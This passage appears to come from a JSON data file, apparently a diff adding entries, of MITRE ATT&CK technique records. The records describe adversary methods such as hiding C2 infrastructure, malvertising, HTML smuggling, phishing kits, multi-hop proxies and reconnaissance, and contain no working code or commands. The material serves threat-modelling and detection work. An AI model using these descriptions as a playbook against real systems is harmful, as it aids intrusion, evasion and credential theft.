}, + { + "id": "T1665", + "text": "ATT&CK technique: T1665 Hide Infrastructure\nDescription: Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished by identifying and filtering traffic from defensive tools, masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers, and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely. C2 networks may include the use of Proxy or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address. Adversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents. Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., Virtualization/Sandbox Evasion). Hiding C2 infrastructure may also be supported by Resource Development activities such as Acquire Infrastructure and Compromise Infrastructure. For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1559", + "text": "ATT&CK technique: T1559 Inter-Process Communication\nDescription: Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. Adversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows Dynamic Data Exchange or Component Object Model. Linux environments support several different IPC mechanisms, two of which being sockets and pipes. Higher level execution mediums, such as those of Command and Scripting Interpreters, may also leverage underlying IPC mechanisms. Adversaries may also use Remote Services such as Distributed Component Object Model to facilitate remote IPC execution.\nTactics: execution\nPlatforms: Linux, Windows, macOS\nLabeled report example: Although custom protocols for malicious communication are nothing new, almost one-third of prevalent malware families we recently analyzed support communication over non-HTTP/S protocols." + }, + { + "id": "T1596.004", + "text": "ATT&CK technique: T1596.004 CDNs\nDescription: Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Drive-by Compromise).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1659", + "text": "ATT&CK technique: T1659 Content Injection\nDescription: Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., Drive-by Target followed by Drive-by Compromise), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., Ingress Tool Transfer) and other data to already compromised systems. Adversaries may inject content to victim systems in various ways, including: * From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from Adversary-in-the-Middle, which describes AiTM activity solely within an enterprise environment) * From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"\nTactics: command and control, initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1608.004", + "text": "ATT&CK technique: T1608.004 Drive-by Target\nDescription: Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure). Adversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including: * Inserting malicious scripts into web pages or other user controllable web content such as forum posts * Modifying script files served to websites from publicly writeable cloud storage buckets * Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising) In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation. Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1596.005", + "text": "ATT&CK technique: T1596.005 Scan Databases\nDescription: Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners. Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1583.008", + "text": "ATT&CK technique: T1583.008 Malvertising\nDescription: Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements. Purchased ads may also target specific audiences using the advertising network’s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites. Adversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software. Adversary’s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts. Malvertising may be used to support Drive-by Target and Drive-by Compromise, potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser. Adversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement. Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1596.003", + "text": "ATT&CK technique: T1596.003 Digital Certificates\nDescription: Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates. Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1681", + "text": "ATT&CK technique: T1681 Search Threat Vendor Data\nDescription: Threat actors may seek information/indicators from closed or open threat intelligence sources gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. These reports may include descriptions of behavior, detailed breakdowns of attacks, atomic indicators such as malware hashes or IP addresses, timelines of a group’s activity, and more. Adversaries may change their behavior when planning their future operations. Adversaries have been observed replacing atomic indicators mentioned in blog posts in under a week. Adversaries have also been seen searching for their own domain names in threat vendor data and then taking them down, likely to avoid seizure or further investigation. This technique is distinct from Threat Intel Vendors in that it describes threat actors performing reconnaissance on their own activity, not in search of victim information.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.002", + "text": "ATT&CK technique: T1596.002 WHOIS\nDescription: Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers. Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1594", + "text": "ATT&CK technique: T1594 Search Victim-Owned Websites\nDescription: Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: Email Addresses). These sites may also have details highlighting business operations and relationships. Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Trusted Relationship or Phishing). In addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as Wordlist Scanning, as well as by leveraging files such as sitemap.xml and robots.txt.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.001", + "text": "ATT&CK technique: T1596.001 DNS/Passive DNS\nDescription: Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS). Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Search Victim-Owned Websites or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1595.001", + "text": "ATT&CK technique: T1595.001 Scanning IP Blocks\nDescription: Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Adversaries may scan IP blocks in order to Gather Victim Network Information, such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts. Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1598.003", + "text": "ATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1608.005", + "text": "ATT&CK technique: T1608.005 Link Target\nDescription: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link. Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing. Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1608.001", + "text": "ATT&CK technique: T1608.001 Upload Malware\nDescription: Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable Ingress Tool Transfer by placing it on an Internet accessible web server. Malware may be placed on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Malware can also be staged on web services, such as GitHub or Pastebin; hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult; or saved on the blockchain as smart contracts, which are resilient against takedowns that would affect traditional infrastructure. Adversaries may upload backdoored files, such as software packages, application binaries, virtual machine images, or container images, to third-party software stores, package libraries, extension marketplaces, or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub, PyPi, NPM). By chance encounter, victims may directly download/install these backdoored files via User Execution. Masquerading, including typosquatting legitimate software, may increase the chance of users mistakenly executing these files.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1597.002", + "text": "ATT&CK technique: T1597.002 Purchase Technical Data\nDescription: Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593.001", + "text": "ATT&CK technique: T1593.001 Social Media\nDescription: Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. Spearphishing Service). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Spearphishing via Service).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593", + "text": "ATT&CK technique: T1593 Search Open Websites/Domains\nDescription: Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts. Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: External Remote Services or Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593.002", + "text": "ATT&CK technique: T1593.002 Search Engines\nDescription: Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes). Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1557", + "text": "ATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1592", + "text": "ATT&CK technique: T1592 Gather Victim Host Information\nDescription: Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services). Adversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary’s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1584", + "text": "ATT&CK technique: T1584 Compromise Infrastructure\nDescription: Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle. Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with Digital Certificates) to further blend in and support staged information gathering and/or Phishing campaigns. Adversaries may also compromise numerous machines to support Proxy and/or proxyware services or to form a botnet. Additionally, adversaries may compromise infrastructure residing in close proximity to a target in order to gain Initial Access via Wi-Fi Networks. By using compromised infrastructure, adversaries may enable follow-on malicious operations. Prior to targeting, adversaries may also compromise the infrastructure of other adversaries.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1590", + "text": "ATT&CK technique: T1590 Gather Victim Network Information\nDescription: Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1027.001", + "text": "ATT&CK technique: T1027.001 Binary Padding\nDescription: Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures. The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware. Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1204.005", + "text": "ATT&CK technique: T1204.005 Malicious Library\nDescription: Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may Upload Malware to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency. In some cases, threat actors may compromise and backdoor existing popular libraries (i.e., Compromise Software Dependencies and Development Tools). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1590.003", + "text": "ATT&CK technique: T1590.003 Network Trust Dependencies\nDescription: Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1595.003", + "text": "ATT&CK technique: T1595.003 Wordlist Scanning\nDescription: Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to Brute Force, its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: Gather Victim Org Information, or Search Victim-Owned Websites). For example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website’s pages and directories. This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: Exploit Public-Facing Application or Brute Force). As cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure. Once storage objects are discovered, adversaries may leverage Data from Cloud Storage to access valuable information that can be exfiltrated or used to escalate privileges and move laterally.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1102", + "text": "ATT&CK technique: T1102 Web Service\nDescription: Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1587.001", + "text": "ATT&CK technique: T1587.001 Malware\nDescription: Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors. During malware development, adversaries may intentionally include indicators aligned with other known actors in order to mislead attribution by defenders. As with legitimate development efforts, different skill sets may be required for developing malware. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's malware development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the malware. Some aspects of malware development, such as C2 protocol development, may require adversaries to obtain additional infrastructure. For example, malware developed that will communicate with Twitter for C2, may require use of Web Services.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1027.006", + "text": "ATT&CK technique: T1027.006 HTML Smuggling\nDescription: Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads. Adversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as text/plain and/or text/html. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. Deobfuscate/Decode Files or Information), potentially bypassing content filters. For example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1102.001", + "text": "ATT&CK technique: T1102.001 Dead Drop Resolver\nDescription: Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1090.003", + "text": "ATT&CK technique: T1090.003 Multi-hop Proxy\nDescription: Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. For example, adversaries may construct or use onion routing networks – such as the publicly available Tor network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network. Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations. In the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., Network Devices). By leveraging Patch System Image on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the Network Boundary Bridging method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport. Similarly, adversaries may 